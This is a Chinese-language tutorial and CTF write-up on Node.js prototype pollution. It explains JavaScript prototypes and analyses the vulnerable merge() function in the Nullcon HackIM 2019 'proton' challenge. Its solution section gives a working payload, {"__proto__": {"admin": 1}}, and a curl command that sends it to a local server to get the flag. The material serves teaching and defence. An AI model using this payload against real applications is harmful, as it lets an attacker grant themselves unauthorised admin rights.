node.js 原型污染攻击的分析与利用

雨点打透心脏的1/2处 2021-09-01 05:21 146阅读 0赞

**目录**

简介

javaScript中的对象

constructor是什么？

javaScript中的原型

原型污染

Merge()为什么不安全？

--------------------

### 简介 ###

原型污染攻击, 如名所示, 是通过污染一个基础对象的原型来引发RCE。Olivier Arteau 完成了此项研究,并在[NorthSec 2018][]中介绍了它的发生过程。让我们用Nullcon HackIm 2019 challenge中的`proton`来深入地了解一下它的触发过程。

### javaScript中的对象 ###

javaScript中的对象其实就是一些键值对的集合，每一个键值对叫做一个属性。举例说明如下（你可以用浏览器的控制台来自己执行一下试试）：

var obj = {
        "name": "0daylabs",
        "website": "blog.0daylabs.com"
    }
    
    obj.name;     // prints "0daylabs"
    obj.website; // prints "blog.0daylabs.com"
    
    console.log(obj);  // 打印出了整个对象以及它所有的属性

在上述例子中，`name`和`website`是对象`obj`的属性。如果你仔细观察上述语句，就可以发现除了我们显式定义的内容，`console.log`还打印了很多额外的信息，这些多出来的信息是来自于哪里呢？

`Object`是最基础的对象，其他所有的对象都是通过它创建的。在对象创建期间，我们可以通过传递一个`null`参数创建一个空对象（没有任何属性），但默认情况下，它会创建一个与其值类型相对应的的对象，并将所有属性继承给新创建的对象(除非值为null)。

console.log(Object.create(null)); // prints an empty object

javaScript中的函数/类

在javaScript中，函数和类的概念是相对的（函数本身充当类的构造函数，而且也没有一个显式的表示类的方法）。让我们举个例子：

在上述例子中，我们定义了一个名为`person`的函数，然后创建了两个对象，分别叫做`person1`和`person2`。如果仔细观察新创建的函数和对象的属性，我们可以发现2件事：

*  当函数被创建的时候，JavaScript引擎在函数里添加了一个`prototype`属性。这个原型属性是一个对象（叫做原型对象）且默认有一个constructor属性，该属性指向一个函数，在这个函数中，原型对象是一个属性。
 *  当一个对象被创建的时候，JavaScript引擎会添加一个`__proto__`属性到新创建的对象中，这一属性指向构造函数的原型对象。简而言之，`object.__proto__`指向`function.prototype`。

### constructor是什么？ ###

`Constructor`是一个神奇的属性，它返回用于创建这个对象的函数。原型对象有一个Constructor,它指向函数本身而且Constructor的Constructor是一个全局函数Constructor。

var person3 = new person("test", 55);
    
    person3.constructor;  // prints the function "person" itself
    
    person3.constructor.constructor; // prints ƒ Function() { [native code] }    <- Global Function constructor
    
    person3.constructor.constructor("return 1");
    
    /*
    ƒ anonymous(
    ) {
    return 1
    }
    */
    
    // Finally call the function
    person3.constructor.constructor("return 1")();   // returns 1

### javaScript中的原型 ###

在这里要注意的一点是prototype属性可以在运行时被修改（增/删/改）。比如：

function person(fullName, age) {
        this.age = age;
        this.fullName = fullName;
    }
    
    var person1 = new person("Anirudh", 25);
    
    person.prototype.details = function() {
            return this.fullName + " has age: " + this.age;
        }
    
    console.log(person1.details()); // prints "Anirudh has age: 25"

在上面这段代码中我们通过添加一个新属性的方式修改了函数的prototype，使用对象我们也可以达到同样的效果：

function person(fullName, age) {
        this.age = age;
        this.fullName = fullName;
    }
    
    var person1 = new person("Anirudh", 25);
    var person2 = new person("Anand", 45);
    
    // Using person1 object
    person1.constructor.prototype.details = function() {
            return this.fullName + " has age: " + this.age;
        }
    
    console.log(person1.details()); // prints "Anirudh has age: 25"
    
    console.log(person2.details()); // prints "Anand has age: 45" :O

有发现一些可疑的东西吗？我们修改了`person1`对象但为什么`person2`也被修改了？原因是在第一个例子中我们是使用`person.prototype`添加的属性，而在第二个例子中我们是通过使用对象来实现同样的效果的。我们知道，constructor返回的是创建对象时的函数，所以`person1.constructor`指向`person`本身，而`person1.constructor.prototype`和`person.prototype`相同。

### 原型污染 ###

让我们举个例子，`obj[a][b] = value`，如果攻击者可以控制`a`和`value`，他就可以把`a`的值设为`__proto__`，而程序中所有对象中的属性`b`的值会被设为`value`。

攻击者所做的事情并不像上面这个例子这么简单，根据[论文][Link 1]所介绍的，只有在下面3个条件同时满足时，漏洞利用才会发生：

1.  对象递归合并
2.  属性通过路径定义
3.  对象克隆

我们先看看Nullcon HackIM比赛中的实战例子，这场比赛中通过迭代MongoDB id（这不重要），我们能够获得下列源代码：

'use strict';
    
    const express = require('express');
    const bodyParser = require('body-parser')
    const cookieParser = require('cookie-parser');
    const path = require('path');
    
    
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    
    function merge(a, b) {
        for (var attr in b) {
            if (isObject(a[attr]) && isObject(b[attr])) {
                merge(a[attr], b[attr]);
            } else {
                a[attr] = b[attr];
            }
        }
        return a
    }
    
    function clone(a) {
        return merge({}, a);
    }
    
    // Constants
    const PORT = 8080;
    const HOST = '0.0.0.0';
    const admin = {};
    
    // App
    const app = express();
    app.use(bodyParser.json())
    app.use(cookieParser());
    
    app.use('/', express.static(path.join(__dirname, 'views')));
    app.post('/signup', (req, res) => {
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.name) {
            res.cookie('name', copybody.name).json({
                "done": "cookie set"
            });
        } else {
            res.json({
                "error": "cookie not set"
            })
        }
    });
    app.get('/getFlag', (req, res) => {
        var аdmin = JSON.parse(JSON.stringify(req.cookies))
        if (admin.аdmin == 1) {
            res.send("hackim19{}");
        } else {
            res.send("You are not authorized");
        }
    });
    app.listen(PORT, HOST);
    console.log(`Running on http://${HOST}:${PORT}`);

代码以一个`merge`函数开头，事实上这种合并两个对象的方式是不安全的。因为在最新的库中`merge()`函数已经被打了补丁，所以在这场比赛中故意使用了旧的`merge`函数的实现方法。

我们可以发现，在上述代码中有两个`admin`的定义，一个是`const admin`另一个是`var admin`。理想情况下，JavaScript不允许将Const变量再次定义为var，因此这必须是不同的。要花很长时间才能想明白其中一个是正常的`a`，而另一个`a`表示另一种含义。所以与其花时间在这里，我把其中重命名为正常的`a`，这样，一旦问题解决，我们就可以发送payload了。

从这场比赛的源代码中，我们可以发现下述问题：

*  Merge()函数的实现方式使得原型污染可以发生（更多的分析在这篇文章之后），所以我们确实需要使用原型污染来解决这个问题。
 *  在通过`clone(body)`发送`/signup`调用`merge`的时候，我们可以在signing up的时候发送我们的JSON payload，在payload中可以添加`admin`属性，然后调用`/getflag`获取flag。
 *  正如上面讨论的那样，我们可以使用`__proto__`（指向`constructor.prototype`）来用值`1`创建`admin`属性。

最简单的payload是：`{"__proto__": {"admin": 1}}`

所以最终的解决这个题目的payload(使用curl是因为我用burp发送不了)是：

curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

### Merge()为什么不安全？ ###

一个很显眼的问题是，为什么merge()函数不安全？下面是原因：

*  这个函数对对象`b`的所有属性进行迭代（因为对象`b`在键值对相同的情况下拥有更高的优先级）
 *  如果属性同时存在于第一个和第二个参数中，且他们都是`Object`，它就会递归地合并这个属性。
 *  现在我们如果控制`b[attr]`的值，使其值变成`__proto__`，且我们能控制`b`中`__proto__`属性的值，在递归的时候，`a[attr]`在某个特定的时候就会指向对象`a`的`prototype`，我们就能成功地添加一个新的属性到所有的对象中了。

仍然没看懂？这不怪你，因为要理解这个概念我也是花了很长的时间才明白。我们先写个debug语句来看看具体发生了什么。

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    
    function merge(a, b) {
        console.log(b); // prints { __proto__: { admin: 1 } }
        for (var attr in b) {
            console.log("Current attribute: " + attr); // prints Current attribute: __proto__       
            if (isObject(a[attr]) && isObject(b[attr])) {
                merge(a[attr], b[attr]);
            } else {
                a[attr] = b[attr];
            }
        }
        return a
    }
    
    function clone(a) {
        return merge({}, a);
    }

我们先试着发送上面的curl请求。可以发现，对象`b`的值目前是:`{ __proto__: { admin: 1 } }`，其中`__proto__`只是一个属性名，并不指向函数的`prototype`，接下来的函数`merge()`中，`for (var attr in b)`迭代每个属性，而其中第一个属性就是`__proto__`。

因为`__proto__`总是对象类型的，所以继续递归调用，也就是调用`merge(a[__proto__], b[__proto__])`.这样就能帮助我们访问`a`的函数原型，并向里面添加一个`b`中的属性。

[NorthSec 2018]: https://www.youtube.com/watch?v=LUsiFV3dsK8
[Link 1]: https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf